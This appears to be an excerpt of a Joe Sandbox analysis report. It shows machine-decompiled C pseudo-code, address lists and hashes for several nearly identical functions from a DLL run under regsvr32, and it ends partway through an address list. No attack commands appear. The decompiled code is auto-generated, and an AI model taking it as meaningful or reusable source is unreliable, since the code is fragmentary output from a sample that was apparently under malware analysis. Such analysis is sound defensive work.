                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3c0a800cf073062f36bbb3207cdf10ea21c771f23c82b34a4bd89d77e12c630a
                                                                                                        • Instruction ID: 380e519b4f4bfd1e658948a5ac0a7ed495a615774163af0e6f3fe07d12225c9d
                                                                                                        • Opcode Fuzzy Hash: 3c0a800cf073062f36bbb3207cdf10ea21c771f23c82b34a4bd89d77e12c630a
                                                                                                        • Instruction Fuzzy Hash: 6B316173604A88C5DB668F29E0403AE77A4F788B9CF658116DB8C4F750DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035850 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180035850(void* __eax, long long __rbx, long long __rcx, short* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t42;
				long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				long long _t68;
				short* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				signed short* _t79;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003587e;
				_t79 =  *(__rcx + 0x18);
				 *(__rcx + 0x18) =  &(_t79[4]);
				 *__rdx =  *_t79 & 0x0000ffff;
				goto 0x8003594b;
				if (__eax - 0x63 <= 0) goto 0x800358bf;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  &(_t79[4]));
				goto 0x8003594d;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x8003593d;
				_t45 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t65 + 0x39));
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800358f9;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t45;
				dil = 1;
				goto 0x8003594d;
				_v24 = _t45;
				r8d = 1;
				_t68 = _t65;
				if (E00000001180040098(_t42, _t65, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800358f1;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t68, _t71, _t73, _t74,  &(_t79[4]));
				goto 0x800358f4;
				 *_t71 =  *( *(_t68 + 0x488 + _t63 * 8)) & 0x0000ffff;
				return 1;
			}





















                                                                                                        0x180035850
                                                                                                        0x180035850
                                                                                                        0x180035861
                                                                                                        0x180035864
                                                                                                        0x180035866
                                                                                                        0x18003586e
                                                                                                        0x180035876
                                                                                                        0x180035879
                                                                                                        0x180035888
                                                                                                        0x18003588a
                                                                                                        0x180035890
                                                                                                        0x180035893
                                                                                                        0x180035898
                                                                                                        0x18003589c
                                                                                                        0x1800358a3
                                                                                                        0x1800358a9
                                                                                                        0x1800358ae
                                                                                                        0x1800358b3
                                                                                                        0x1800358ba
                                                                                                        0x1800358ca
                                                                                                        0x1800358cc
                                                                                                        0x1800358d6
                                                                                                        0x1800358da
                                                                                                        0x1800358e2
                                                                                                        0x1800358e4
                                                                                                        0x1800358ea
                                                                                                        0x1800358ee
                                                                                                        0x1800358f1
                                                                                                        0x1800358f7
                                                                                                        0x1800358f9
                                                                                                        0x1800358fd
                                                                                                        0x180035903
                                                                                                        0x18003590d
                                                                                                        0x18003590f
                                                                                                        0x180035913
                                                                                                        0x180035916
                                                                                                        0x18003591d
                                                                                                        0x180035921
                                                                                                        0x180035928
                                                                                                        0x18003592c
                                                                                                        0x180035931
                                                                                                        0x180035936
                                                                                                        0x18003593b
                                                                                                        0x180035948
                                                                                                        0x180035957

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 61676ca0152f12cb5bf9edb263126d314da1cc53c01e65c45e5ca9c76bae526b
                                                                                                        • Instruction ID: 7f7df6bab4328fc3e5dcfbb4da1171eb9c4d1ca8f759e3688c69423c86ec7d96
                                                                                                        • Opcode Fuzzy Hash: 61676ca0152f12cb5bf9edb263126d314da1cc53c01e65c45e5ca9c76bae526b
                                                                                                        • Instruction Fuzzy Hash: C0319372204784C6EB668F29E0403AD77A0F79DB9CF668116EB8C4B761DF36C596CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800338E8 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800338E8(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				signed long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				void* _t64;
				long long _t66;
				signed long long* _t70;
				signed long long _t71;
				void* _t72;
				void* _t73;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033915;
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x800339e3;
				if (__eax - 0x63 <= 0) goto 0x80033956;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x800339e5;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x800339d6;
				_t44 =  *(_t66 + 0x34);
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80033992;
				 *_t70 = 1;
				_t70[0] = r9w;
				_t70[2] = _t44;
				dil = 1;
				goto 0x800339e5;
				_v24 = _t44;
				r8d = 1;
				if (E000000011800402CC(_t64, _t64, _t70, _t72, _t79) != 0) goto 0x8003398a;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t64, _t70, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003398d;
				 *_t70 = _t62;
				return 1;
			}

















                                                                                                        0x1800338e8
                                                                                                        0x1800338e8
                                                                                                        0x1800338f9
                                                                                                        0x1800338fc
                                                                                                        0x180033906
                                                                                                        0x18003390d
                                                                                                        0x180033910
                                                                                                        0x18003391f
                                                                                                        0x180033921
                                                                                                        0x180033927
                                                                                                        0x18003392a
                                                                                                        0x18003392f
                                                                                                        0x180033933
                                                                                                        0x18003393a
                                                                                                        0x180033940
                                                                                                        0x180033945
                                                                                                        0x18003394a
                                                                                                        0x180033951
                                                                                                        0x180033961
                                                                                                        0x180033963
                                                                                                        0x18003396d
                                                                                                        0x180033972
                                                                                                        0x18003397a
                                                                                                        0x18003397c
                                                                                                        0x180033982
                                                                                                        0x180033987
                                                                                                        0x18003398a
                                                                                                        0x180033990
                                                                                                        0x180033992
                                                                                                        0x180033996
                                                                                                        0x1800339a6
                                                                                                        0x1800339a8
                                                                                                        0x1800339ac
                                                                                                        0x1800339af
                                                                                                        0x1800339b6
                                                                                                        0x1800339ba
                                                                                                        0x1800339c1
                                                                                                        0x1800339c5
                                                                                                        0x1800339ca
                                                                                                        0x1800339cf
                                                                                                        0x1800339d4
                                                                                                        0x1800339e0
                                                                                                        0x1800339ef

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 9db2eb4f72b576ba80ee637cefc480ae4c3fa44b52ea22ff1b5c5b836f2fc464
                                                                                                        • Instruction ID: bae2f6088dbca9e7e5622f03f50d1605a2c6d101c71d85b81a4ed8178fce2f49
                                                                                                        • Opcode Fuzzy Hash: 9db2eb4f72b576ba80ee637cefc480ae4c3fa44b52ea22ff1b5c5b836f2fc464
                                                                                                        • Instruction Fuzzy Hash: 4D31A472204648C6EBA68F29D0817AD77A0F38DB8CF65811AEB8C0B751DF76C156CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032920 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180032920(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				short* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003294e;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x80032a1e;
				if (__eax - 0x63 <= 0) goto 0x8003298f;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x80032a20;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80032a0f;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x800329cb;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x80032a20;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800402CC(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x800329c3;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x800329c6;
				 *_t70 =  *((short*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180032920
                                                                                                        0x180032931
                                                                                                        0x180032934
                                                                                                        0x180032936
                                                                                                        0x18003293e
                                                                                                        0x180032942
                                                                                                        0x180032946
                                                                                                        0x180032949
                                                                                                        0x180032958
                                                                                                        0x18003295a
                                                                                                        0x180032960
                                                                                                        0x180032963
                                                                                                        0x180032968
                                                                                                        0x18003296c
                                                                                                        0x180032973
                                                                                                        0x180032979
                                                                                                        0x18003297e
                                                                                                        0x180032983
                                                                                                        0x18003298a
                                                                                                        0x18003299a
                                                                                                        0x18003299c
                                                                                                        0x1800329a6
                                                                                                        0x1800329ab
                                                                                                        0x1800329b3
                                                                                                        0x1800329b5
                                                                                                        0x1800329bb
                                                                                                        0x1800329c0
                                                                                                        0x1800329c3
                                                                                                        0x1800329c9
                                                                                                        0x1800329cb
                                                                                                        0x1800329cf
                                                                                                        0x1800329d5
                                                                                                        0x1800329df
                                                                                                        0x1800329e1
                                                                                                        0x1800329e5
                                                                                                        0x1800329e8
                                                                                                        0x1800329ef
                                                                                                        0x1800329f3
                                                                                                        0x1800329fa
                                                                                                        0x1800329fe
                                                                                                        0x180032a03
                                                                                                        0x180032a08
                                                                                                        0x180032a0d
                                                                                                        0x180032a1b
                                                                                                        0x180032a2a

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 2d91f8424a3ce1e1f18a086d7f406926740caba60f9114e9e157482f91ee286c
                                                                                                        • Instruction ID: 6e46782bbe2406b907a9387e595ccf3207a89ae92d3c2aec0bca081a89ab4860
                                                                                                        • Opcode Fuzzy Hash: 2d91f8424a3ce1e1f18a086d7f406926740caba60f9114e9e157482f91ee286c
                                                                                                        • Instruction Fuzzy Hash: 3E31A472204B48C6DB668F29E0803AD77A0F39CB8CF658116EB8C0B755DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035958 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180035958(void* __eax, long long __rbx, long long __rcx, short* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				long long _t64;
				long long _t66;
				intOrPtr* _t67;
				short* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				signed short* _t78;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035986;
				_t78 =  *(__rcx + 0x18);
				 *(__rcx + 0x18) =  &(_t78[4]);
				 *__rdx =  *_t78 & 0x0000ffff;
				goto 0x80035a55;
				if (__eax - 0x63 <= 0) goto 0x800359c7;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  &(_t78[4]));
				goto 0x80035a57;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80035a47;
				_t44 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80035a03;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t44;
				dil = 1;
				goto 0x80035a57;
				_v24 = _t44;
				r8d = 1;
				_t67 = _t64;
				if (E000000011800402CC(_t64, _t67, _t70, _t72, _t79) != 0) goto 0x800359fb;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t67, _t70, _t72, _t73,  &(_t78[4]));
				goto 0x800359fe;
				 *_t70 =  *( *(_t67 + 0x488 + _t62 * 8)) & 0x0000ffff;
				return 1;
			}



















                                                                                                        0x180035958
                                                                                                        0x180035958
                                                                                                        0x180035969
                                                                                                        0x18003596c
                                                                                                        0x18003596e
                                                                                                        0x180035976
                                                                                                        0x18003597e
                                                                                                        0x180035981
                                                                                                        0x180035990
                                                                                                        0x180035992
                                                                                                        0x180035998
                                                                                                        0x18003599b
                                                                                                        0x1800359a0
                                                                                                        0x1800359a4
                                                                                                        0x1800359ab
                                                                                                        0x1800359b1
                                                                                                        0x1800359b6
                                                                                                        0x1800359bb
                                                                                                        0x1800359c2
                                                                                                        0x1800359d2
                                                                                                        0x1800359d4
                                                                                                        0x1800359de
                                                                                                        0x1800359e3
                                                                                                        0x1800359eb
                                                                                                        0x1800359ed
                                                                                                        0x1800359f3
                                                                                                        0x1800359f8
                                                                                                        0x1800359fb
                                                                                                        0x180035a01
                                                                                                        0x180035a03
                                                                                                        0x180035a07
                                                                                                        0x180035a0d
                                                                                                        0x180035a17
                                                                                                        0x180035a19
                                                                                                        0x180035a1d
                                                                                                        0x180035a20
                                                                                                        0x180035a27
                                                                                                        0x180035a2b
                                                                                                        0x180035a32
                                                                                                        0x180035a36
                                                                                                        0x180035a3b
                                                                                                        0x180035a40
                                                                                                        0x180035a45
                                                                                                        0x180035a52
                                                                                                        0x180035a61

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: f79a748cccefe79b8199ed0c7cfdf91b11d49ff8fde63ddb858dbf92856b7df2
                                                                                                        • Instruction ID: 65bdc40a624a93bbbe062501006bd1d06b45bc8dc6671a969e6640298b2ce0a3
                                                                                                        • Opcode Fuzzy Hash: f79a748cccefe79b8199ed0c7cfdf91b11d49ff8fde63ddb858dbf92856b7df2
                                                                                                        • Instruction Fuzzy Hash: A831C472104A88C6DBA68F29D0807AD77A0F78DB8DF258116EBCC4B761DF36C196DB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800339F0 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800339F0(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				signed long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				void* _t64;
				long long _t66;
				signed long long* _t70;
				signed long long _t71;
				void* _t72;
				void* _t73;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033a1d;
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x80033aeb;
				if (__eax - 0x63 <= 0) goto 0x80033a5e;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80033aed;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80033ade;
				_t44 =  *(_t66 + 0x34);
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80033a9a;
				 *_t70 = 1;
				_t70[0] = r9w;
				_t70[2] = _t44;
				dil = 1;
				goto 0x80033aed;
				_v24 = _t44;
				r8d = 1;
				if (E000000011800404D0(_t64, _t64, _t70, _t72, _t79) != 0) goto 0x80033a92;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t64, _t70, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80033a95;
				 *_t70 = _t62;
				return 1;
			}

















                                                                                                        0x1800339f0
                                                                                                        0x1800339f0
                                                                                                        0x180033a01
                                                                                                        0x180033a04
                                                                                                        0x180033a0e
                                                                                                        0x180033a15
                                                                                                        0x180033a18
                                                                                                        0x180033a27
                                                                                                        0x180033a29
                                                                                                        0x180033a2f
                                                                                                        0x180033a32
                                                                                                        0x180033a37
                                                                                                        0x180033a3b
                                                                                                        0x180033a42
                                                                                                        0x180033a48
                                                                                                        0x180033a4d
                                                                                                        0x180033a52
                                                                                                        0x180033a59
                                                                                                        0x180033a69
                                                                                                        0x180033a6b
                                                                                                        0x180033a75
                                                                                                        0x180033a7a
                                                                                                        0x180033a82
                                                                                                        0x180033a84
                                                                                                        0x180033a8a
                                                                                                        0x180033a8f
                                                                                                        0x180033a92
                                                                                                        0x180033a98
                                                                                                        0x180033a9a
                                                                                                        0x180033a9e
                                                                                                        0x180033aae
                                                                                                        0x180033ab0
                                                                                                        0x180033ab4
                                                                                                        0x180033ab7
                                                                                                        0x180033abe
                                                                                                        0x180033ac2
                                                                                                        0x180033ac9
                                                                                                        0x180033acd
                                                                                                        0x180033ad2
                                                                                                        0x180033ad7
                                                                                                        0x180033adc
                                                                                                        0x180033ae8
                                                                                                        0x180033af7

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: ad710e49aa136e3dcc0a32aead8bcf9a210e6ac7637f03b2a693bf9adcb9de74
                                                                                                        • Instruction ID: d0f2bfe6b02db706234934d09455c27bf0d2bf2f6b1dd638546686d3892c4cf6
                                                                                                        • Opcode Fuzzy Hash: ad710e49aa136e3dcc0a32aead8bcf9a210e6ac7637f03b2a693bf9adcb9de74
                                                                                                        • Instruction Fuzzy Hash: 48318772204A48CADB668F19D0817EE77A0F38CB8CF558119EB8C4B751DF36C556CB05
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032A2C Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180032A2C(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				short* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80032a5a;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x80032b2a;
				if (__eax - 0x63 <= 0) goto 0x80032a9b;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x80032b2c;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80032b1b;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80032ad7;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x80032b2c;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800404D0(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x80032acf;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x80032ad2;
				 *_t70 =  *((short*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180032a2c
                                                                                                        0x180032a3d
                                                                                                        0x180032a40
                                                                                                        0x180032a42
                                                                                                        0x180032a4a
                                                                                                        0x180032a4e
                                                                                                        0x180032a52
                                                                                                        0x180032a55
                                                                                                        0x180032a64
